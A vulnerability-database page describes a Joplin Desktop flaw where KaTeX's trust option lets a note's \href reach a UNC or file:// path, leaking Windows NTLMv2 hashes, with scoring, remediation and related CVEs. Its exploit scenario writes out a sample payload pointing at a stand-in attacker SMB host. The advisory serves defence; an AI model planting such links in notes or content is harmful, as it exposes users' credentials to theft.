Skip to main content

Joplin CVE-2026-49449

| EUVDEUVD-2026-84168 LOW
Information Exposure (CWE-200)
2026-09-21 GitHub_M
2.5
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft note with KaTeX \href to UNC path
  2. Delivery
    Deliver note via share/sync/import
  3. Exploit
    Victim opens note in Joplin on Windows
  4. Execution
    Victim clicks crafted link
  5. Persist
    pathExists() initiates SMB auth to attacker host
  6. Impact
    Capture NTLMv2 challenge-response for offline cracking

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK

2 techniques across 2 tactics: Collection, Discovery

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the victim to run Joplin Desktop on Windows (the NTLMv2/SMB credential leak is Windows-specific), the attacker to deliver a note they authored containing a KaTeX \href/\url pointing at an attacker-controlled UNC/file:// path (via shared notebook, sync, or note import), and the victim to actively click the rendered link. Exploitation is limited by AC:H (attacker must control an SMB endpoint and rely on Windows auto-authenticating to the UNC path) and UI:R (an explicit victim click is needed); it does not work against non-Windows platforms and is fully remediated in Joplin 3.7.2 where KaTeX trust is restricted to http(s)/mailto/joplin://anchor schemes.

Impact

This is a genuinely low-priority issue whose signals are internally consistent. The vendor CVSS of 2.5 (AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) reflects a narrow information-disclosure flaw: only confidentiality is affected and only at Low, because the leaked artifact is an NTLMv2 challenge-response (an offline-crackable hash, not a plaintext credential). No EPSS score, CISA KEV entry, or public POC was provided, so the exploitation status is 'no public exploit identified at time of analysis.' The security-advisory-driven fix (GHSA-9m2r-pv96-jxr3, PR #15538) confirms the mechanism but not any observed exploitation. One notable tension: the vendor rates AV:L, yet the realistic attack is remote - a malicious note is delivered via Joplin sync/sharing/import and the NTLMv2 material is captured by a remote attacker-controlled SMB server, which argues for AV:N. I flag this as a vendor/analyst disagreement rather than treating AV:L as settled. The AC:H, UI:R, and Windows-only constraints keep real-world risk low regardless of the AV interpretation.

Exploit ScenarioDerived

An attacker crafts a Joplin note containing a KaTeX expression such as $\href{file://attacker.example.com/share/x.txt}{click}$, which bypasses Joplin's normal Markdown URL allowlist because KaTeX's trust option is enabled unconditionally. The victim, running Joplin on Windows, opens the shared/synced note and clicks the rendered link; pathExists() on the UNC target triggers outbound SMB authentication that discloses the victim's NTLMv2 challenge-response to the attacker's server for offline cracking or relay. No public exploit code is identified, though the fix commit includes a test harness demonstrating which schemes were previously accepted.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 21, 2026

Information disclosure in Joplin Desktop note rendering: from version 1.4.0 up to (but not including) 3.7.2, the KaTeX renderer runs with the 'trust' option enabled unconditionally, so a note author can embed a KaTeX \href or \url whose target bypasses Joplin's normal Markdown URL allowlist. On Windows, if a victim clicks such a link pointing at an attacker-controlled UNC or file:// path, the operating system attempts SMB authentication and leaks the user's NTLMv2 challenge-response to the attacker without any warning; the same technique can invoke other registered URL handlers (for example vscode:// or ms-msdt:). Exploitation requires a victim running Joplin Desktop on Windows, delivery of an attacker-authored note (shared notebook, sync, or import), and an explicit click on the rendered link, and it is fully fixed in 3.7.2 where KaTeX trust is restricted to http(s), mailto, joplin:// and internal anchor/id schemes; no public exploit code was identified at time of analysis and the issue is not confirmed actively exploited (CISA KEV).

RemediationAI

Upgrade Joplin to version 3.7.2 or later, which is the vendor-released patch and replaces the unconditional KaTeX trust flag with a scheme allowlist limited to http(s), mailto, joplin://, in-page anchors and internal note IDs; the change is tracked in vendor advisory GHSA-9m2r-pv96-jxr3, PR 15538 and commit b15472bc9654a72101b34b79c9436b3d450e2c10. If upgrading cannot be done immediately, block outbound SMB from user workstations at the egress firewall (TCP 445 and 139, plus UDP 137/138) so that any UNC or file:// click cannot reach an attacker-controlled SMB listener - the trade-off is loss of legitimate file-share access from those hosts. On Windows, harden NTLM by restricting outbound NTLM authentication via Group Policy ('Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers' and the related audit settings) and by disabling the WebClient/WebDAV service, accepting that this may break legacy intranet applications that depend on NTLM. Because exploitation requires a click on a link inside an attacker-supplied note, also reduce delivery surface by treating imported or synced notebooks from untrusted parties as hostile, previewing notes without clicking embedded links, and avoiding the importer for untrusted .jex or Markdown content until the upgrade is applied.

Affected VersionsENISA

joplin 1.4.0, < 3.7.2

Affected Packages

euvd joplin_1_4_0 fix: 3.7.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Joplin renders note math by handing TeX delimiters to KaTeX inside packages/renderer/MdToHtml/rules/katex.ts, and the code was setting katexOptions.trust = true. KaTeX's trust flag controls whether commands such as \href and \url may emit arbitrary HTML attributes; with trust enabled, the URL is written straight into the rendered anchor and never passes through Joplin's shared link sanitizer (htmlUtils.isAcceptedUrl), which normally filters Markdown links to approved schemes. The root cause is a sanitization gap rather than a memory-safety bug, classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). Normally this bypass only permits opening other registered URL handlers on the victim's machine, but on Windows a file:// or UNC target such as \\attacker.example.com\share\x.txt causes the SMB client to automatically perform NTLM authentication to the attacker's host, disclosing the current user's NTLMv2 challenge-response - a credential that can be relayed or cracked offline. The assessed vector (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) reflects network-delivered content with high attack complexity (attacker must control an SMB endpoint and rely on Windows auto-authentication) and mandatory user interaction, producing only a confidentiality impact. The upstream fix replaces the boolean with isTrustedKatexContext, which whitelists https:, http:, mailto:, joplin://, in-page #anchors and internal :/32-character-id links and rejects file://, UNC, javascript: and handler schemes; the accompanying test in packages/app-cli/tests/MdToHtml.ts enumerates exactly these allowed and blocked cases.

Know when Joplin gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 2.5 LOW
AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
vuln.today AI 3.1 LOW

AV:N because the malicious note is delivered remotely and the NTLMv2 hash is captured by a remote SMB server; AC:H (Windows + UNC auto-auth) and UI:R (click); C:L only, as a crackable hash and not a plaintext secret leaks.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

1
Patch available
Sep 21, 2026 - 22:02 EUVD

DescriptionCVE.org

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. From 1.4.0 until 3.7.2, packages/renderer/MdToHtml/rules/katex.ts enables KaTeX's trust option for note content, allowing a note author to place a \href URL into rendered output without passing Joplin's normal URL allowlist. On Windows, clicking a link whose target is an attacker-controlled UNC path causes pathExists() to initiate SMB authentication and disclose the current user's NTLMv2 challenge-response without a warning. The unfiltered URL can also invoke other registered URL handlers, but the credential disclosure through KaTeX \href is the distinguishing demonstrated impact. This issue is fixed in version 3.7.2.

Threat Intelligence Overview

EPSS Score
0.1%
Top 97% exploitable
Prevalence
Medium
popular open-source cross-platform note app, not enterprise-ubiquitous
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact· derived
Low

Priority Score

12
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +12
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Joplin

View all
CVE-2025-27134 HIGH POC
8.8 Apr 30

Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into

CVE-2024-49362 CRITICAL POC
9.6 Nov 14

Joplin is a free, open source note taking and to-do application. Rated critical severity (CVSS 9.6), this vulnerability

CVE-2024-40643 CRITICAL POC
9.6 Sep 09

Joplin is a free, open source note taking and to-do application. Rated critical severity (CVSS 9.6), this vulnerability

CVE-2022-35131 CRITICAL POC
9.0 Jul 25

Joplin v2.8.8 allows attackers to execute arbitrary commands via a crafted payload injected into the Node titles. Rated

CVE-2026-46649 CRITICAL POC
9.1 Sep 21

Joplin Server instances prior to 3.7.2 expose an SSO login-code redemption endpoint (GET /api/login_with_code/:id) that

CVE-2024-53268 HIGH POC
8.8 Nov 25

Joplin is an open source, privacy-focused note taking app with sync capabilities for Windows, macOS, Linux, Android and

CVE-2022-40277 HIGH POC
7.8 Sep 30

Joplin version 2.8.8 allows an external attacker to execute arbitrary commands remotely on any client that opens a link

CVE-2025-27409 HIGH POC
7.5 Apr 30

Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into

CVE-2020-28249 MEDIUM POC
6.1 Nov 06

Joplin 1.2.6 for Desktop allows XSS via a LINK element in a note. Rated medium severity (CVSS 6.1), this vulnerability i

CVE-2020-15930 MEDIUM POC
6.1 Sep 24

An XSS issue in Joplin desktop 1.0.190 to 1.0.245 allows arbitrary code execution via a malicious HTML embed tag. Rated

CVE-2018-1000534 MEDIUM POC
6.1 Jun 26

Joplin version prior to 1.0.90 contains a XSS evolving into code execution due to enabled nodeIntegration for that parti

CVE-2020-9038 MEDIUM POC
5.4 Feb 17

Joplin through 1.0.184 allows Arbitrary File Read via XSS. Rated medium severity (CVSS 5.4), this vulnerability is remot

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy